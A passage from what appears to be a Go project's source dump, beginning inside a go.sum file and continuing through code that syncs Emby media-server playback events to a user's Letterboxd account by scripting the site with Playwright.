v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 77 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 78 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 79 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= 80 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= 81 | github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= 82 | github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= 83 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 84 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 85 | golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= 86 | golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= 87 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 88 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 89 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 90 | golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= 91 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 92 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 93 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 94 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 95 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 96 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 97 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 98 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 99 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 100 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 101 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 102 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 103 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 104 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 105 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 106 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 107 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 108 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 109 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 110 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 111 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 112 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 113 | golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= 114 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 115 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 116 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 117 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 118 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 119 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 120 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 121 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 122 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 123 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 124 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 125 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 126 | golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= 127 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 128 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 129 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 130 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 131 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 132 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 133 | google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= 134 | google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= 135 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 136 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 137 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 138 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 139 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 140 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 141 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= 142 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 143 | -------------------------------------------------------------------------------- /letterboxd/auth.go: -------------------------------------------------------------------------------- 1 | package letterboxd 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | "slices" 7 | "strings" 8 | ) 9 | 10 | import "github.com/playwright-community/playwright-go" 11 | 12 | func (u User) isLoggedIn(page ...playwright.Page) bool { 13 | if len(page) == 0 { 14 | // Create new page 15 | page = append(page, u.newPage("https://letterboxd.com")) 16 | defer page[0].Close() 17 | } 18 | 19 | var classes, err = page[0].Locator("body").GetAttribute("class") 20 | if err != nil { 21 | panic(err) 22 | } 23 | 24 | return slices.Contains(strings.Split(classes, " "), "logged-in") 25 | } 26 | 27 | func (u User) Login() { 28 | var page = u.newPage("https://letterboxd.com/sign-in/") 29 | defer page.Close() 30 | 31 | if page.URL() == "https://letterboxd.com" { 32 | slog.Warn("Already logged in") 33 | return 34 | } 35 | 36 | // Fill out login form 37 | if err := page.Locator("input#field-username").Fill(u.username); err != nil { 38 | panic(err) 39 | } 40 | if err := page.Locator("input#field-password").Fill(u.password); err != nil { 41 | panic(err) 42 | } 43 | if err := page.Locator("input.js-remember").Check(); err != nil { 44 | panic(err) 45 | } 46 | if err := page.Locator("div.formbody > div.formrow > button[type=submit]").Click(); err != nil { 47 | panic(err) 48 | } 49 | 50 | // Wait for logged in status 51 | if err := page.Locator("body.logged-in").WaitFor(); err == nil { 52 | slog.Info(fmt.Sprintf("Logged in as %s", u.username)) 53 | } else { 54 | panic(err) 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /letterboxd/debouncer.go: -------------------------------------------------------------------------------- 1 | package letterboxd 2 | 3 | import ( 4 | "container/list" 5 | "sync" 6 | "time" 7 | ) 8 | 9 | const _QUIET_PERIOD = 30 * time.Second 10 | 11 | type debouncer struct { 12 | queue *list.List 13 | removableElementByImdbId map[string]*list.Element 14 | loggedImdbIds map[string]bool 15 | lock sync.Mutex 16 | channel chan Event 17 | } 18 | 19 | func newDebouncer(channel chan Event) debouncer { 20 | return debouncer{ 21 | queue: list.New(), 22 | removableElementByImdbId: make(map[string]*list.Element), 23 | loggedImdbIds: make(map[string]bool), 24 | channel: channel, 25 | } 26 | } 27 | 28 | func (d *debouncer) debounce(event Event) { 29 | d.lock.Lock() 30 | defer d.lock.Unlock() 31 | 32 | if element, ok := d.removableElementByImdbId[event.ImdbId]; ok { 33 | d.queue.Remove(element) 34 | } 35 | 36 | if event.Action == FilmLogged { 37 | d.loggedImdbIds[event.ImdbId] = true 38 | } 39 | 40 | // TODO: fix 41 | d.channel <- event 42 | } 43 | -------------------------------------------------------------------------------- /letterboxd/films.go: -------------------------------------------------------------------------------- 1 | package letterboxd 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | "slices" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func (u User) SetFilmWatched(imdbId string, watched bool) { 12 | var url = fmt.Sprintf("https://letterboxd.com/imdb/%s", imdbId) 13 | var page = u.newPage(url) 14 | defer page.Close() 15 | 16 | // Reauthenticate if necessary 17 | if !u.isLoggedIn(page) { 18 | slog.Warn("Not logged in, authenticating...") 19 | 20 | u.Login() 21 | if _, err := page.Reload(); err != nil { 22 | slog.Warn(fmt.Sprintf("Page %s took too long to load", url)) 23 | } 24 | } 25 | 26 | // Allow watched information to populate 27 | time.Sleep(3 * time.Second) 28 | 29 | var watchedLocator = page.Locator("span.action-large.-watch .action.-watch") 30 | var classes, watchedLocatorErr = watchedLocator.GetAttribute("class") 31 | if watchedLocatorErr != nil { 32 | panic(watchedLocatorErr) 33 | } 34 | 35 | if slices.Contains(strings.Split(classes, " "), "-on") == watched { 36 | // Film already marked with desired watch state 37 | slog.Info(fmt.Sprintf("Film %s is already marked as watched = %t", imdbId, watched)) 38 | } else { 39 | // Toggle film watched status 40 | if err := watchedLocator.Click(); err != nil { 41 | panic(err) 42 | } 43 | time.Sleep(3 * time.Second) 44 | } 45 | } 46 | 47 | func (u User) LogFilmWatched(imdbId string, date ...time.Time) { 48 | if len(date) == 0 { 49 | date = append(date, time.Now()) 50 | } 51 | 52 | var url = fmt.Sprintf("https://letterboxd.com/imdb/%s", imdbId) 53 | var page = u.newPage(url) 54 | defer page.Close() 55 | 56 | // Reauthenticate if necessary 57 | if !u.isLoggedIn(page) { 58 | slog.Warn("Not logged in, authenticating...") 59 | 60 | u.Login() 61 | if _, err := page.Reload(); err != nil { 62 | slog.Warn(fmt.Sprintf("Page %s took too long to load", url)) 63 | } 64 | } 65 | 66 | if err := page.Locator("button.add-this-film").Click(); err != nil { 67 | panic(err) 68 | } 69 | 70 | // Wait for form to load 71 | var saveLocator = page.Locator("div#diary-entry-form-modal button.button.-action.button-action") 72 | if err := saveLocator.WaitFor(); err != nil { 73 | panic(err) 74 | } 75 | 76 | // Fill form and save log entry 77 | var javascriptSetDate = fmt.Sprintf("document.querySelector('input#frm-viewing-date-string').value = '%s'", date[0].Format(time.DateOnly)) 78 | if _, err := page.Evaluate(javascriptSetDate, nil); err != nil { 79 | panic(err) 80 | } 81 | if err := saveLocator.Click(); err != nil { 82 | panic(err) 83 | } 84 | time.Sleep(3 * time.Second) 85 | } 86 | -------------------------------------------------------------------------------- /letterboxd/user.go: -------------------------------------------------------------------------------- 1 | package letterboxd 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | ) 7 | 8 | import "github.com/playwright-community/playwright-go" 9 | 10 | var browser playwright.Browser 11 | 12 | func init() { 13 | var pw, runErr = playwright.Run() 14 | if runErr != nil { 15 | panic(runErr) 16 | } 17 | 18 | var headless = true 19 | var launchOptions = playwright.BrowserTypeLaunchOptions{Headless: &headless} 20 | if b, err := pw.Firefox.Launch(launchOptions); err == nil { 21 | browser = b 22 | } else { 23 | panic(err) 24 | } 25 | } 26 | 27 | func NewUser(username string, password string) User { 28 | var context, contextErr = browser.NewContext(playwright.BrowserNewContextOptions{ 29 | Viewport: &playwright.Size{ 30 | Width: 1920, 31 | Height: 1080, 32 | }, 33 | }) 34 | if contextErr != nil { 35 | panic(contextErr) 36 | } 37 | 38 | return User{ 39 | username, 40 | password, 41 | context, 42 | } 43 | } 44 | 45 | type User struct { 46 | username string 47 | password string 48 | context playwright.BrowserContext 49 | } 50 | 51 | func (l User) newPage(url string) playwright.Page { 52 | var page, pageErr = l.context.NewPage() 53 | if pageErr != nil { 54 | panic(pageErr) 55 | } 56 | 57 | if _, err := page.Goto(url); err != nil { 58 | // Acceptable to due ad loading 59 | slog.Warn(fmt.Sprintf("Page %s took too long to load", url)) 60 | } 61 | 62 | return page 63 | } 64 | -------------------------------------------------------------------------------- /letterboxd/worker.go: -------------------------------------------------------------------------------- 1 | package letterboxd 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | "time" 7 | ) 8 | 9 | const _EVENT_BUFFER_SIZE int = 10 10 | 11 | type Action int 12 | 13 | const ( 14 | FilmWatched Action = iota 15 | FilmUnwatched 16 | FilmLogged 17 | ) 18 | 19 | type Event struct { 20 | ImdbId string 21 | Action Action 22 | Time time.Time 23 | } 24 | 25 | type Worker struct { 26 | debouncer 27 | user User 28 | channel chan Event 29 | } 30 | 31 | func NewWorker(username string, password string) Worker { 32 | var channel = make(chan Event, _EVENT_BUFFER_SIZE) 33 | return Worker{ 34 | debouncer: newDebouncer( 35 | channel, 36 | ), 37 | user: NewUser( 38 | username, 39 | password, 40 | ), 41 | channel: channel, 42 | } 43 | } 44 | 45 | func (w *Worker) HandleEvent(event Event) { 46 | w.debounce(event) 47 | } 48 | 49 | func (w *Worker) Start() { 50 | go w.run() 51 | } 52 | 53 | func (w *Worker) run() { 54 | w.user.Login() 55 | 56 | for { 57 | var event = <-w.channel 58 | 59 | switch event.Action { 60 | case FilmWatched, FilmUnwatched: 61 | w.user.SetFilmWatched(event.ImdbId, event.Action == FilmWatched) 62 | case FilmLogged: 63 | w.user.LogFilmWatched(event.ImdbId) 64 | default: 65 | panic(fmt.Sprintf("Unknown event action %d", event.Action)) 66 | } 67 | 68 | slog.Info(fmt.Sprintf("Finished processing event %+v", event)) 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "os" 4 | 5 | import ( 6 | "github.com/energeticcra/emboxd/api" 7 | "github.com/energeticcra/emboxd/config" 8 | "github.com/energeticcra/emboxd/letterboxd" 9 | "github.com/energeticcra/emboxd/notification" 10 | ) 11 | 12 | func main() { 13 | var configFilename = "config/config.yaml" 14 | for i := 1; i < len(os.Args); i++ { 15 | if os.Args[i] == "-c" || os.Args[i] == "--config" { 16 | i++ 17 | configFilename = os.Args[i] 18 | break 19 | } 20 | } 21 | var conf = config.Load(configFilename) 22 | 23 | var notificationProcessorByEmbyUsername = make(map[string]*notification.Processor, len(conf.Users)) 24 | for _, user := range conf.Users { 25 | var letterboxdWorker = letterboxd.NewWorker(user.Letterboxd.Username, user.Letterboxd.Password) 26 | letterboxdWorker.Start() 27 | 28 | var notificationProcessor = notification.NewProcessor(letterboxdWorker.HandleEvent) 29 | 30 | notificationProcessorByEmbyUsername[user.Emby.Username] = ¬ificationProcessor 31 | } 32 | 33 | var app = api.New(notificationProcessorByEmbyUsername) 34 | app.Run(80) 35 | } 36 | -------------------------------------------------------------------------------- /notification/constants.go: -------------------------------------------------------------------------------- 1 | package notification 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | type MediaServer int 8 | 9 | const ( 10 | Emby MediaServer = iota 11 | ) 12 | 13 | type Metadata struct { 14 | Server MediaServer 15 | Username string 16 | ImdbId string 17 | Time time.Time 18 | } 19 | 20 | type WatchedNotification struct { 21 | Metadata 22 | Watched bool 23 | } 24 | 25 | type PlaybackNotification struct { 26 | Metadata 27 | Playing bool 28 | Position time.Duration 29 | Runtime time.Duration 30 | } 31 | -------------------------------------------------------------------------------- /notification/processor.go: -------------------------------------------------------------------------------- 1 | package notification 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | "time" 7 | ) 8 | 9 | import "github.com/energeticcra/emboxd/letterboxd" 10 | 11 | // Watched percentage of total runtime to log movie as actually watched 12 | const _MIN_WATCHED_PERCENTAGE int = 80 13 | 14 | type Processor struct { 15 | callback func(letterboxd.Event) 16 | watchedDurationByImdbId map[string]time.Duration 17 | playbackStartNotificationByImdbId map[string]PlaybackNotification 18 | } 19 | 20 | func NewProcessor(callback func(letterboxd.Event)) Processor { 21 | return Processor{ 22 | callback: callback, 23 | watchedDurationByImdbId: make(map[string]time.Duration), 24 | playbackStartNotificationByImdbId: make(map[string]PlaybackNotification), 25 | } 26 | } 27 | 28 | func (n *Processor) ProcessWatchedNotification(notification WatchedNotification) { 29 | slog.Info(fmt.Sprintf("Processing watched notification %+v", notification)) 30 | 31 | var action letterboxd.Action 32 | if notification.Watched { 33 | action = letterboxd.FilmWatched 34 | } else { 35 | action = letterboxd.FilmUnwatched 36 | } 37 | 38 | delete(n.watchedDurationByImdbId, notification.ImdbId) 39 | delete(n.playbackStartNotificationByImdbId, notification.ImdbId) 40 | 41 | n.callback(letterboxd.Event{ 42 | ImdbId: notification.ImdbId, 43 | Action: action, 44 | Time: notification.Time, 45 | }) 46 | } 47 | 48 | func (n *Processor) ProcessPlaybackNotification(notification PlaybackNotification) { 49 | slog.Info(fmt.Sprintf("Processing playback notification %+v", notification)) 50 | 51 | // TODO: setup DB for permanent storage of partially watched films 52 | if notification.Playing { 53 | if _, alreadyStarted := n.playbackStartNotificationByImdbId[notification.ImdbId]; !alreadyStarted { 54 | // Keep earliest playback notification for current session 55 | n.playbackStartNotificationByImdbId[notification.ImdbId] = notification 56 | } 57 | } else { 58 | if startNotification, hasStart := n.playbackStartNotificationByImdbId[notification.ImdbId]; hasStart { 59 | var watchedDuration = min( 60 | // Ensure movie was actually watched 61 | notification.Time.Sub(startNotification.Time), 62 | // Ensure rewinding/replaying is not included in watched duration 63 | max(notification.Position-startNotification.Position, 0), 64 | ) 65 | 66 | if _, partiallyWatched := n.watchedDurationByImdbId[notification.ImdbId]; partiallyWatched { 67 | n.watchedDurationByImdbId[notification.ImdbId] += watchedDuration 68 | } else { 69 | n.watchedDurationByImdbId[notification.ImdbId] = watchedDuration 70 | } 71 | delete(n.playbackStartNotificationByImdbId, notification.ImdbId) 72 | } else { 73 | n.watchedDurationByImdbId[notification.ImdbId] = notification.Position 74 | slog.Warn("Missing playback start time, set total watched duration to current playback position") 75 | } 76 | 77 | var watchedPercentage = float64(n.watchedDurationByImdbId[notification.ImdbId].Nanoseconds()) / float64(notification.Runtime.Nanoseconds()) * 100 78 | if int(watchedPercentage) >= _MIN_WATCHED_PERCENTAGE { 79 | delete(n.watchedDurationByImdbId, notification.ImdbId) 80 | 81 | n.callback(letterboxd.Event{ 82 | ImdbId: notification.ImdbId, 83 | Action: letterboxd.FilmLogged, 84 | Time: notification.Time, 85 | }) 86 | } 87 | } 88 | } 89 | --------------------------------------------------------------------------------